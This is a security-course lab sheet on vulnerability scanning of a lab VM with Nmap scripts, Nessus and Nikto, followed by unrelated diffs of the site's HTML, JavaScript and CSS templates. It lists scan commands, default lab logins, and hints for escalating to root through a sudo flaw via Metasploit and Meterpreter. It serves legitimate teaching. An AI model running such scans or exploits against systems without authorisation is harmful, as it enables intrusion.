Throughout this lab, you will learn how to use Nmap and its Nmap scripting engine (NSE) to perform vulnerability scanning, discover potential weaknesses in a target system, and gain insights into the ethical hacking and penetration testing process. You will also explore Nessus, a commercial vulnerability scanner, and understand how it operates, what vulnerabilities it can identify, and how to interpret the results. Additionally, you will utilize Nikto, a web vulnerability scanner, to assess the security of web servers, identifying critical vulnerabilities. By completing tasks like initiating scans, analyzing results, and considering the limitations of automated tools, you will gain a practical understanding of vulnerability assessment and the role it plays in strengthening cybersecurity.
|
||||
tags: ["vulnerability-assessment", "nmap", "nessus", "nikto", "security-scanning", "penetration-testing"]
|
||||
categories: ["introducing_attacks"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1rdNcOmYOjsRu97Gh3ds8HbTpORGxbMcd2Q7U4TATIbw/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
lecture_url: "http://z.cliffe.schreuders.org/presentations/slides/DSL_DS_OSPT_Lectures_8_Vulnerability_Analysis.html"
|
||||
reading: "Chapters 8-9: Practical Unix and Internet Security by Garfinkel, Spafford, and Schwartz"
|
||||
cybok:
|
||||
- ka: "SOIM"
|
||||
topic: "PENETRATION TESTING"
|
||||
keywords: ["VULNERABILITY ANALYSIS / VULNERABILITY SCANNING", "AUDIT APPROACH", "PENETRATION TESTING - SOFTWARE TOOLS", "PENETRATION TESTING - ACTIVE PENETRATION"]
|
||||
- ka: "MAT"
|
||||
topic: "Attacks and exploitation"
|
||||
keywords: ["EXPLOITATION"]
|
||||
---
|
||||
|
||||
## General notes about the labs {#general-notes-about-the-labs}
|
||||
|
||||
Often the lab instructions are intentionally open ended, and you will have to figure some things out for yourselves. This module is designed to be challenging, as well as fun\!
|
||||
|
||||
However, we aim to provide a well planned and fluent experience. If you notice any mistakes in the lab instructions or you feel some important information is missing, please let us know ([via GitHub](https://github.com/cliffe/HacktivityLabSheets)) and we will try to address any issues.
|
||||
|
||||
## Preparation and logging in {#preparation-and-logging-in}
|
||||
|
||||
==action: For all of the labs in this module, start by logging into Hacktivity.==
|
||||
|
||||
[**Click here for a guide to using Hacktivity.**](https://docs.google.com/document/d/17d5nUx2OtnvkgBcCQcNZhZ8TJBO94GMKF4CHBy1VPjg/edit?usp=sharing) This includes some important information about how to use the lab environment and how to troubleshoot during lab exercises. If you haven't already, have a read through.
|
||||
|
||||
==action: Make sure you are signed up to the module, claim a set of VMs for this lab, and start your VMs.==
|
||||
|
||||
Feel free to read ahead while the VMs are starting.
|
||||
|
||||
==VM: Interact with the Kali VM==. (Click the launch icon after the VMs have started):
|
||||
![VM Launch Icon][vm_launch_icon]
|
||||
==action: Login with username "kali", password "kali".==
|
||||
|
||||
==action: Start the Linux victim server==.
|
||||
|
||||
> Note: *You don't need to login to the target VM* (you don't need to know the login passwords), just start the VMs.
|
||||
|
||||
==action: Note the IP address(es) of the Kali Linux system, using "ip a s"==.
|
||||
|
||||
==action: Make a note of the **IP addresses for the Linux target:** matching the first 3 octets of the Kali system, ending with .2 or .3 for the Linux server==.
|
||||
|
||||
## Introduction to vulnerability scanning and analysis {#introduction-to-vulnerability-scanning-and-analysis}
|
||||
|
||||
Identifying vulnerabilities via ethical hacking and penetration testing requires careful research and planning, and testing the exploits against vulnerabilities typically results in a compromise of the remote system. The advantage of a penetration test (hiring ethical hackers to test security by hacking) is that there are very few false positives (that is, vulnerabilities “discovered” that are false alarms), since the security tester can actually attempt exploits and report whether they were successful.
|
||||
|
||||
However, there is always a risk that an exploit may cause unintentional damage, or that the ethical hacker will miss something obvious when they are checking things manually.
|
||||
|
||||
An alternative, shallower and automated approach, is to use *vulnerability scanning* (also known as vulnerability analysis or vulnerability assessment). Vulnerability scanners typically start by performing (or importing) network scans such as port scans and service identification, then automatically checks whether each of the identified services are known to contain vulnerabilities.
|
||||
|
||||
The way the security tests are conducted are often simply by comparing the service version that has been detected with the versions known to have vulnerabilities (similar to what you did manually using Security Focus). Vulnerability scanners will often also probe the software further to confirm that the system really does appear to be vulnerable. Some probes can potentially cause crashes, so a safe-mode is typically offered to avoid the more dangerous checks.
|
||||
|
||||
There are lots of different vulnerability scanners on the market, many of which are extremely expensive for commercial use (although arguably a necessity for efficient security testing). No-cost evaluation versions are often available for home use.
|
||||
|
||||
In this lab you will be scanning a very vulnerable VM, with various tools that aim to provide an assessment of the security of the systems. As you will see, many automated scans miss vulnerabilities, although they can also provide useful insights.
|
||||
|
||||
## Nmap scripting engine (NSE) and advanced scanning {#nmap-scripting-engine-nse-and-advanced-scanning}
|
||||
|
||||
The Nmap scanner has a powerful feature known as the Nmap scripting engine (NSE). In addition to the scanning features that are built into Nmap, Nmap can be extended with scripts that add other capabilities. Nmap is distributed with a number of scripts (developed by various people), and these add more types of version detection and even do some vulnerability detection.
|
||||
|
||||
==VM: On the Kali Linux (security tester) VM==:
|
||||
|
||||
==action: Look at the list of files contained in /usr/share/nmap/scripts/:==
|
||||
|
||||
```bash
|
||||
ls /usr/share/nmap/scripts/
|
||||
```
|
||||
|
||||
> Note: And/or browse using a file browser, such as Dolphin.
|
||||
|
||||
==action: View the contents of "distcc-cve2004-2687.nse"==. ==hint: Consider using vi==.
|
||||
|
||||
This script is written in the Lua programming language, and it checks for a specific DistCC vulnerability.
|
||||
|
||||
==action: Open the Nmap man page, and read the description under the heading "NMAP SCRIPTING ENGINE (NSE)"==. ==hint: Note that "*\-sC Performs a script scan using the default set of scripts. \[...\] Some of the scripts in this category are considered intrusive and should not be run against a target network without permission.*"==
|
||||
|
||||
==action: Launch an Nmap scan using the default set of scripts (where IP address is the Linux Server VM):==
|
||||
|
||||
```bash
|
||||
nmap -sC ==edit:IP-address==
|
||||
```
|
||||
|
||||
==action: Launch an Nmap scan using vulnerability scanning scripts (where IP address is the Linux server VM), and inspecting the first 5k port numbers:==
|
||||
|
||||
```bash
|
||||
nmap --script vuln -sV -p 1-5000 ==edit:IP-address==
|
||||
```
|
||||
|
||||
> Note: This can take a while to complete.
|
||||
|
||||
==action: When this completes, read through the output==.
|
||||
|
||||
> Question: What vulnerabilities did it detect?
|
||||
|
||||
Nmap scripts have a lot of potential; however, the current set of scripts only check for a limited number of vulnerabilities.
|
||||
|
||||
Based on what you have learned:
|
||||
|
||||
> Question: Use the man page to answer: what does the \--script Nmap flag do?
|
||||
|
||||
> Action: Extra challenge: exploit a vulnerability detected by the Nmap script scan.
|
||||
|
||||
## Nessus {#nessus}
|
||||
|
||||
Nessus, by Tenable Network Security, is one of the most popular commercial vulnerability scanners. Vulnerability tests are written using NASL (the Nessus Attack Scripting Language), and subscriptions to “feeds” of vulnerability checks are available. The “Essentials” feed is available for use for no cost, but is limited to scanning a limited number of hosts, while the “Professional” feed receives updates sooner and can be used in larger commercial settings.
|
||||
|
||||
Nessus is based on a client/server architecture, where a client (such as the web interface) connects to the server, which does the scanning. Results can be imported into Metasploit.
|
||||
|
||||
In addition to vulnerability scanning, Nessus can be used for compliance checks (such as checking the security policies on networked systems by giving Nessus credentials to manage them).
|
||||
|
||||
==action: Start Firefox in the Kali VM, and visit (if Nessus is still initialising, please read ahead):==
|
||||
|
||||
```
|
||||
https://localhost:8834
|
||||
```
|
||||
|
||||
Username: nessusadmin, password: nessusadmin01
|
||||
|
||||
==action: Confirm the security exception, if prompted==. ==hint: The warning is shown because the site is secured using a self-signed certificate==.
|
||||
|
||||
==action: Login with username: "nessusadmin", password: "nessusadmin01"==.
|
||||
|
||||
> Tip: If at any point using Nessus you get an error message saying you don't have API access, simply clear the cache by pressing Ctrl+Shift+Delete.
|
||||
|
||||
> Warning: Nessus can take a long time to be ready to do a scan, if you have worked down to this point and Nessus is still initialising plugins: skip past this section to Web Vulnerability Analysis and come back to this immediately after.
|
||||
|
||||
==action: Create a new Scan==.
|
||||
|
||||
![][nessus_my_scans_empty_folder_interface]
|
||||
|
||||
Note that there are various scanning profiles available, and depending on your selection Nessus will check the target(s) for different types of security issues.
|
||||
|
||||
![][nessus_scan_templates_selection_interface]
|
||||
|
||||
==action: Select 'Basic network scan'==. ==action: When prompted, provide the scan name and IP addresses to scan the target Linux server==.
|
||||
|
||||
For example (but ==edit:**substituting the first three octets from your Kali IP address**==):
|
||||
|
||||
![][nessus_new_scan_configuration_target_setup]
|
||||
|
||||
==action: Save and click "Launch", and view the results as they become available==. The Nessus scan is quite detailed, and will take some time to complete.
|
||||
|
||||
==action: Click "Vulnerabilities", to view the security vulnerabilities that have been detected==.
|
||||
|
||||
==action: Browse through the list of detected vulnerabilities (if there are not any yet, just wait a while), and click on one of the issues to view more detailed information==.
|
||||
|
||||
Read through the information for each vulnerability and answer the following:
|
||||
|
||||
> Question: What is the CVE for this vulnerability?
|
||||
|
||||
> Question: Are exploits available? What kind? (Stand alone, MSF, etc)
|
||||
|
||||
> Question: What would be the likely result of an attack on this vulnerability?
|
||||
|
||||
> Question: How would you fix this issue?
|
||||
|
||||
![][nessus_vulnerability_results_basic_scan_comparison]
|
||||
|
||||
==action: Click through to details of the detected vulnerabilities, and read through the descriptions provided==.
|
||||
|
||||
==action: Start a new Advanced Scan (figure it out by exploring the interface), and enable thorough tests, and also show potential false alarms==.
|
||||
|
||||
![][nessus_advanced_scan_configuration_accuracy_settings]
|
||||
|
||||
Once the scan is complete:
|
||||
|
||||
![][nessus_vulnerability_results_advanced_scan_with_severity_breakdown]
|
||||
|
||||
Answer the following questions.
|
||||
|
||||
> Question: How many vulnerabilities did it detect as compared to the Basic scan?
|
||||
|
||||
> Question: How many of the vulnerabilities did you miss when you previously scanned these systems using Nmap?
|
||||
|
||||
> Question: How many vulnerabilities did Nessus miss compared to the Nmap vuln scan?
|
||||
|
||||
> Question: How many vulnerabilities that were detected are "critical", "high", and so on? (Make a note of the number of vulnerabilities)
|
||||
|
||||
==action: Click "Export Results", and generate various HTML reports. View the output of these reports==.
|
||||
|
||||
What information from these reports do you think you would use:
|
||||
|
||||
> Question: during a penetration test?
|
||||
|
||||
> Question: when writing a report for the management of a company that hired you to test their systems?
|
||||
|
||||
> Question: when writing a report for the IT department of the company?
|
||||
|
||||
> Action: **Extra challenge:** save and import the results into MSF. Consider exploiting vulnerabilities detected by the Nmap and Nessus vulnerability scan, to confirm the system is vulnerable.
|
||||
|
||||
## Web vulnerability analysis {#web-vulnerability-analysis}
|
||||
|
||||
In addition to tests to look for vulnerable software running as remote services (and compliance checks regarding client system configuration), security testers often have to test the security of web servers. While the above vulnerability scanners will do some testing of web servers that are detected, there are also a number of vulnerability scanners that exclusively scan web servers for software and misconfiguration vulnerabilities.
|
||||
|
||||
Nikto is a command line web vulnerability scanner. Nikto scans for over 6000 security issues, such as dangerous CGI scripts and permissions.
|
||||
|
||||
==action: Use Nikto to scan the Linux server VM==.
|
||||
|
||||
```bash
|
||||
nikto -host ==edit:Target-IP-Address==
|
||||
```
|
||||
|
||||
*![][nikto_web_vulnerability_scan_output_target_host]*
|
||||
|
||||
==action: Take some time to read and understand the output==.
|
||||
|
||||
> Question: How many critical vulnerabilities did Nikto detect?
|
||||
|
||||
> Question: Did it detect any that the above scanners missed?
|
||||
|
||||
> Hint: You might wish to visit a vulnerable web server (detected by *nikto*) running on ports 80 and 443. If, when attempting to access it via your browser, you're met with a "server not found" error, try disabling the proxy in web-browser proxy settings in the Kali VM or add an exclusion for 10.\*.\*.\*. If you then visit you'll notice a vulnerable Wordpress instance running.
|
||||
|
||||
> Hint: Visiting the vulnerable wordpress web site is not necessary for the flags
|
||||
|
||||
> Warning: If you changed proxy settings you may need to switch your settings back to re-access Nessus.
|
||||
|
||||
## Some final considerations
|
||||
|
||||
> Question: The Linux server had **multiple** remotely exploitable vulnerabilities, and local privilege escalation vulnerabilities. How many of these were actually detected by the automated tools?
|
||||
|
||||
> Question: Did a version of Wordpress get detected at any point in all of the above? Does it have vulnerabilities detected by any of these tools?
|
||||
|
||||
> Question: What does this teach you about relying on automated tools too heavily during security assessments?
|
||||
|
||||
> Flag: Go find yourself some flags\! There are various vulnerabilities, similar to previous weeks. There is also a new privilege escalation vulnerability this week – so something new for you to try to identify and exploit (another sudo vulnerability).
|
||||
|
||||
> Hint: You cannot exploit the same sudo vulnerability as in the previous lab, because this time you do not know the password of a user for whom you gained the shell access (this is because you have gained the shell access via a vulnerability, not by logging in to the system; this, you are even more limited in what you can do).
|
||||
|
||||
> Hint: Some vulnerable services could be already patched. Thus, consider attacking all available services.
|
||||
|
||||
> Hint: To get all flags you might need to escalate privileges to root. Notice sudo version - this will help to identify an exploitable vulnerability. Also keep in mind the limitation related to the fact that you do not know the user password.
|
||||
|
||||
![][metasploit_sudo_baron_samedit_exploit_command]
|
||||
|
||||
> Hint: After a few failed attempts to escalate privileges, googling results might suggest that the *sudo\_baron\_samedit* vulnerability needs to be exploited from the Meterpreter shell. Thus, you might need to upgrade your shell to Meterpreter prior to exploiting the sudo vulnerability. Find how to do it on your own (or read this if you are feeling lazy 😉) [https://infosecwriteups.com/metasploit-upgrade-normal-shell-to-meterpreter-shell-2f09be895646](https://infosecwriteups.com/metasploit-upgrade-normal-shell-to-meterpreter-shell-2f09be895646) .
|
||||
|
||||
## Conclusion
|
||||
|
||||
At this point you have:
|
||||
|
||||
* learned about vulnerability assessment;
|
||||
|
||||
* run vulnerability scans using various industry standard tools, including Nessus and Nikto;
|
||||
|
||||
* understood that different tools will detect different security issues, and that it is important to consider which tests (and scan profiles) to run.
|
||||
|
||||
Well done!
|
||||
|
||||
[vm_launch_icon]: /assets/images/common/vm_launch_icon.png
|
||||
[nessus_my_scans_empty_folder_interface]: /assets/images/introducing_attacks/8_vulnerability_analysis/nessus_my_scans_empty_folder_interface.png
|
||||
[nessus_scan_templates_selection_interface]: /assets/images/introducing_attacks/8_vulnerability_analysis/nessus_scan_templates_selection_interface.png
|
||||
[nessus_new_scan_configuration_target_setup]: /assets/images/introducing_attacks/8_vulnerability_analysis/nessus_new_scan_configuration_target_setup.png
|
||||
[nessus_vulnerability_results_basic_scan_comparison]: /assets/images/introducing_attacks/8_vulnerability_analysis/nessus_vulnerability_results_basic_scan_comparison.png
|
||||
[nessus_advanced_scan_configuration_accuracy_settings]: /assets/images/introducing_attacks/8_vulnerability_analysis/nessus_advanced_scan_configuration_accuracy_settings.png
|
||||
[nessus_vulnerability_results_advanced_scan_with_severity_breakdown]: /assets/images/introducing_attacks/8_vulnerability_analysis/nessus_vulnerability_results_advanced_scan_with_severity_breakdown.png
|
||||
[nikto_web_vulnerability_scan_output_target_host]: /assets/images/introducing_attacks/8_vulnerability_analysis/nikto_web_vulnerability_scan_output_target_host.png
|
||||
[metasploit_sudo_baron_samedit_exploit_command]: /assets/images/introducing_attacks/8_vulnerability_analysis/metasploit_sudo_baron_samedit_exploit_command.png
|
||||
@@ -10,15 +10,17 @@ layout: default
|
||||
</div>
|
||||
|
||||
<article class="lab-content">
|
||||
<h1>{{ page.title }}</h1>
|
||||
{% if page.description %}
|
||||
<p class="lab-description">{{ page.description }}</p>
|
||||
{% endif %}
|
||||
|
||||
{% if page.overview %}
|
||||
<h2>Lab Overview</h2>
|
||||
<div class="overview-content">{{ page.overview | markdownify }}</div>
|
||||
{% endif %}
|
||||
<div class="hidden-when-embedded">
|
||||
<h1>{{ page.title }}</h1>
|
||||
{% if page.description %}
|
||||
<p class="lab-description">{{ page.description }}</p>
|
||||
{% endif %}
|
||||
|
||||
{% if page.overview %}
|
||||
<h2>Lab Overview</h2>
|
||||
<div class="overview-content">{{ page.overview | markdownify }}</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
<div class="lab-metadata">
|
||||
{% if page.author %}
|
||||
@@ -54,24 +56,26 @@ layout: default
|
||||
<strong>Prerequisites:</strong> {{ page.prerequisites }}
|
||||
</div>
|
||||
{% endif %}
|
||||
<div class="hidden-when-embedded">
|
||||
{% if page.cybok %}
|
||||
<div class="cybok">
|
||||
<strong>CyBOK Knowledge Areas:</strong>
|
||||
{% for cybok_item in page.cybok %}
|
||||
<span class="cybok-ka">{{ cybok_item.ka }}: {{ cybok_item.topic }}</span>
|
||||
{% for keyword in cybok_item.keywords %}
|
||||
<span class="cybok-keyword">{{ keyword }}</span>
|
||||
<div class="cybok">
|
||||
<strong>CyBOK Knowledge Areas:</strong>
|
||||
{% for cybok_item in page.cybok %}
|
||||
<span class="cybok-ka">{{ cybok_item.ka }}: {{ cybok_item.topic }}</span>
|
||||
{% for keyword in cybok_item.keywords %}
|
||||
<span class="cybok-keyword">{{ keyword }}</span>
|
||||
{% endfor %}
|
||||
{% endfor %}
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
{% if page.tags %}
|
||||
<div class="tags">
|
||||
{% for tag in page.tags %}
|
||||
<span class="tag">{{ tag }}</span>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% endif %}
|
||||
{% if page.tags %}
|
||||
<div class="tags">
|
||||
{% for tag in page.tags %}
|
||||
<span class="tag">{{ tag }}</span>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
</div>
|
||||
<br />
|
||||
@@ -99,6 +103,9 @@ layout: default
|
||||
.embeded-mode .lab-content {
|
||||
max-width: 100%;
|
||||
}
|
||||
.embedded-mode .hidden-when-embedded {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.lab-header {
|
||||
border-bottom: 2px solid var(--panelborder-color);
|
||||
@@ -273,9 +280,13 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==note:\s*([^=]+)==/gi, '<span class="note-highlight">📝 $1</span>');
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==warning:\s*([^=]+)==/gi, '<span class="warning-highlight">⚠️ $1</span>');
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==VM:\s*([^=]+)==/gi, '<span class="vm-highlight">🖥️ $1</span>');
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==question:\s*([^=]+)==/gi, '<span class="question-highlight">❓ $1</span>');
|
||||
|
||||
// Replace generic ==text== with <mark>text</mark>
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==([^=]+)==/g, '<mark>$1</mark>');
|
||||
// Process edit highlights BEFORE other processing to avoid syntax highlighting interference
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==edit:\s*([^=]+)==/gi, '<span class="edit-highlight">✏️ $1</span>');
|
||||
|
||||
// Replace generic ==text== with <mark>text</mark> (but not edit highlights)
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(/==(?!edit:)([^=]+)==/g, '<mark>$1</mark>');
|
||||
|
||||
// Replace > TIP: patterns with tip-item divs
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(
|
||||
@@ -295,7 +306,7 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
'<div class="tip-item">$1</div>'
|
||||
);
|
||||
|
||||
// Handle block-level action, warning, note, hint patterns
|
||||
// Handle block-level action, warning, note, hint, flag patterns
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(
|
||||
/<blockquote>\s*<p>\s*Action:\s*([^<]+(?:<[^>]+>[^<]*<\/[^>]+>[^<]*)*)<\/p>\s*<\/blockquote>/gi,
|
||||
'<div class="action-item">$1</div>'
|
||||
@@ -312,6 +323,84 @@ document.addEventListener('DOMContentLoaded', function() {
|
||||
/<blockquote>\s*<p>\s*Hint:\s*([^<]+(?:<[^>]+>[^<]*<\/[^>]+>[^<]*)*)<\/p>\s*<\/blockquote>/gi,
|
||||
'<div class="hint-item">Hint: $1</div>'
|
||||
);
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(
|
||||
/<blockquote>\s*<p>\s*Question:\s*([^<]+(?:<[^>]+>[^<]*<\/[^>]+>[^<]*)*)<\/p>\s*<\/blockquote>/gi,
|
||||
'<div class="question-item">$1</div>'
|
||||
);
|
||||
contentBody.innerHTML = contentBody.innerHTML.replace(
|
||||
/<blockquote>\s*<p>\s*Flag:\s*([^<]+(?:<[^>]+>[^<]*<\/[^>]+>[^<]*)*)<\/p>\s*<\/blockquote>/gi,
|
||||
'<div class="flag-item">$1</div>'
|
||||
);
|
||||
|
||||
// Add copy functionality to code blocks
|
||||
const codeBlocks = contentBody.querySelectorAll('pre code');
|
||||
codeBlocks.forEach(block => {
|
||||
const pre = block.parentElement;
|
||||
if (pre.classList.contains('highlight') || pre.closest('.highlight')) {
|
||||
pre.style.position = 'relative';
|
||||
const copyBtn = document.createElement('button');
|
||||
copyBtn.textContent = 'Copy';
|
||||
copyBtn.className = 'copy-btn';
|
||||
copyBtn.style.cssText = `
|
||||
position: absolute;
|
||||
top: 0.5rem;
|
||||
right: 0.5rem;
|
||||
background: #007bff;
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 0.25rem 0.5rem;
|
||||
border-radius: 3px;
|
||||
font-size: 0.75rem;
|
||||
cursor: pointer;
|
||||
opacity: 0;
|
||||
transition: all 0.2s ease;
|
||||
z-index: 10;
|
||||
`;
|
||||
copyBtn.addEventListener('click', () => {
|
||||
navigator.clipboard.writeText(block.textContent).then(() => {
|
||||
copyBtn.textContent = 'Copied!';
|
||||
setTimeout(() => copyBtn.textContent = 'Copy', 2000);
|
||||
});
|
||||
});
|
||||
pre.addEventListener('mouseenter', () => copyBtn.style.opacity = '1');
|
||||
pre.addEventListener('mouseleave', () => copyBtn.style.opacity = '0');
|
||||
pre.appendChild(copyBtn);
|
||||
}
|
||||
});
|
||||
|
||||
// Process edit highlights that got broken up by syntax highlighting
|
||||
const codeElements = contentBody.querySelectorAll('code, pre code, .highlight code');
|
||||
codeElements.forEach(codeElement => {
|
||||
// Look for the pattern: <span class="o">==</span>edit:content<span class="o">==</span>
|
||||
const html = codeElement.innerHTML;
|
||||
if (html.includes('==') && html.includes('edit:')) {
|
||||
// Handle the broken pattern from syntax highlighting
|
||||
codeElement.innerHTML = html.replace(
|
||||
/<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>edit:\s*([^<]+)<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
// Handle patterns with mark tags in the middle
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>edit:\s*([^<]+(?:<[^>]+>[^<]*)*?)<span[^>]*class="[^"]*o[^"]*"[^>]*><mark><\/mark><\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
// Handle the specific pattern: ==edit:content<span class="o"><mark></mark></span>
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>edit:\s*([^<]+)<span[^>]*class="[^"]*o[^"]*"[^>]*><mark><\/mark><\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
// Handle pattern with variable highlighting in the middle: ==edit:content <span class="nv">VAR</span>==
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/<span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>edit:\s*([^<]+)\s*<span[^>]*class="[^"]*nv[^"]*"[^>]*>([^<]+)<\/span><span[^>]*class="[^"]*o[^"]*"[^>]*>==<\/span>/gi,
|
||||
'<span class="edit-highlight">✏️$1 $2</span>'
|
||||
);
|
||||
// Also handle any remaining unprocessed edit highlights
|
||||
codeElement.innerHTML = codeElement.innerHTML.replace(
|
||||
/==edit:\s*([^=]+)==/gi,
|
||||
'<span class="edit-highlight">✏️$1</span>'
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -9,6 +9,103 @@ body {
|
||||
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Noto Color Emoji", "Twemoji Mozilla";
|
||||
}
|
||||
|
||||
// Limit image width within lab content
|
||||
.lab-content img {
|
||||
max-width: 100%;
|
||||
height: auto;
|
||||
display: block;
|
||||
margin: 1rem auto;
|
||||
}
|
||||
|
||||
// Enhanced syntax highlighting for code blocks
|
||||
.highlight pre {
|
||||
background-color: #f8f9fa;
|
||||
border: 1px solid #e9ecef;
|
||||
border-radius: 6px;
|
||||
padding: 1rem;
|
||||
margin: 1rem 0;
|
||||
overflow-x: auto;
|
||||
position: relative;
|
||||
|
||||
// General light theme colors for all languages
|
||||
.c1, .c { color: #718096; font-style: italic; } // Comments
|
||||
.nb { color: #63b3ed; font-weight: bold; } // Built-in commands
|
||||
.s2, .s { color: #68d391; } // Strings
|
||||
.o { color: #f56565; } // Operators
|
||||
.nv { color: #b794f6; } // Variables
|
||||
.k { color: #f56565; } // Keywords
|
||||
.nt { color: #f6ad55; } // Command line options
|
||||
.na { color: #63b3ed; } // Command names
|
||||
.se { color: #68d391; } // String escapes
|
||||
|
||||
|
||||
// Edit highlights within code blocks - light theme
|
||||
.edit-highlight {
|
||||
background-color: #fff3cd !important;
|
||||
color: #856404 !important;
|
||||
border-left: 3px solid #ffc107 !important;
|
||||
padding: 0.1rem 0.3rem !important;
|
||||
border-radius: 3px !important;
|
||||
font-weight: 600 !important;
|
||||
}
|
||||
|
||||
// Copy button styling (handled by JavaScript)
|
||||
.copy-btn {
|
||||
&:hover {
|
||||
background: #0056b3 !important;
|
||||
transform: scale(1.05);
|
||||
}
|
||||
|
||||
&:active {
|
||||
transform: scale(0.95);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Dark theme support
|
||||
[data-theme="dark"] .highlight pre {
|
||||
background-color: #1a202c;
|
||||
border-color: #2d3748;
|
||||
color: #e2e8f0;
|
||||
|
||||
// General dark theme colors for all languages
|
||||
.c1, .c { color: #718096; font-style: italic; } // Comments
|
||||
.nb { color: #63b3ed; font-weight: bold; } // Built-in commands
|
||||
.s2, .s { color: #68d391; } // Strings
|
||||
.o { color: #f56565; } // Operators
|
||||
.nv { color: #b794f6; } // Variables
|
||||
.k { color: #f56565; } // Keywords
|
||||
.nt { color: #f6ad55; } // Command line options
|
||||
.na { color: #63b3ed; } // Command names
|
||||
.se { color: #68d391; } // String escapes
|
||||
|
||||
// Edit highlights within code blocks - dark theme
|
||||
.edit-highlight {
|
||||
background-color: #664d03 !important;
|
||||
color: #ffda6a !important;
|
||||
border-left: 3px solid #ffc107 !important;
|
||||
padding: 0.1rem 0.3rem !important;
|
||||
border-radius: 3px !important;
|
||||
font-weight: 600 !important;
|
||||
}
|
||||
|
||||
// Dark theme copy button styling
|
||||
.copy-btn {
|
||||
background: #4a5568 !important;
|
||||
color: #e2e8f0 !important;
|
||||
|
||||
&:hover {
|
||||
background: #2d3748 !important;
|
||||
transform: scale(1.05);
|
||||
}
|
||||
|
||||
&:active {
|
||||
transform: scale(0.95);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
h1, h2, h3, h4, h5, h6 {
|
||||
font-family: "Do Hyeon", "Source Code Pro", Monaco, monospace;
|
||||
font-weight: normal;
|
||||
@@ -727,11 +824,6 @@ h1, h2, h3, h4, h5, h6 {
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
// Code blocks
|
||||
pre, code {
|
||||
background-color: var(--highlight-color);
|
||||
color: var(--fg-color);
|
||||
}
|
||||
|
||||
code {
|
||||
padding: 0.125rem 0.25rem;
|
||||
@@ -1029,6 +1121,100 @@ blockquote {
|
||||
color: #d4edda;
|
||||
}
|
||||
|
||||
.question-item {
|
||||
background-color: #e0f2f1;
|
||||
border: 1px solid #4db6ac;
|
||||
border-left: 4px solid #009688;
|
||||
border-radius: 4px;
|
||||
padding: 1rem;
|
||||
margin: 1rem 0;
|
||||
color: #00695c;
|
||||
}
|
||||
|
||||
.question-item h1, .question-item h2, .question-item h3, .question-item h4, .question-item h5, .question-item h6 {
|
||||
color: #00695c;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
.question-item::before {
|
||||
content: "❓ ";
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
[data-theme="dark"] .question-item {
|
||||
background-color: #004d40;
|
||||
border-color: #26a69a;
|
||||
border-left-color: #26a69a;
|
||||
color: #4db6ac;
|
||||
}
|
||||
|
||||
[data-theme="dark"] .question-item h1,
|
||||
[data-theme="dark"] .question-item h2,
|
||||
[data-theme="dark"] .question-item h3,
|
||||
[data-theme="dark"] .question-item h4,
|
||||
[data-theme="dark"] .question-item h5,
|
||||
[data-theme="dark"] .question-item h6 {
|
||||
color: #4db6ac;
|
||||
}
|
||||
|
||||
.flag-item {
|
||||
background: linear-gradient(135deg, #e1bee7 0%, #f3e5f5 100%);
|
||||
border: 1px solid #ea75ff;
|
||||
border-left: 6px solid #503883;
|
||||
border-radius: 8px;
|
||||
padding: 1.25rem;
|
||||
margin: 1.25rem 0;
|
||||
color: #2e1065;
|
||||
box-shadow: 0 4px 12px rgba(80, 56, 131, 0.15);
|
||||
position: relative;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.flag-item h1, .flag-item h2, .flag-item h3, .flag-item h4, .flag-item h5, .flag-item h6 {
|
||||
color: #2e1065;
|
||||
margin-top: 0;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.flag-item::before {
|
||||
content: "🏳️ ";
|
||||
font-weight: bold;
|
||||
font-size: 1.2em;
|
||||
margin-right: 0.5rem;
|
||||
}
|
||||
|
||||
// .flag-item::after {
|
||||
// content: "";
|
||||
// position: absolute;
|
||||
// top: 0;
|
||||
// right: 0;
|
||||
// width: 0;
|
||||
// height: 0;
|
||||
// border-left: 20px solid transparent;
|
||||
// border-top: 20px solid #9c27b0;
|
||||
// }
|
||||
|
||||
[data-theme="dark"] .flag-item {
|
||||
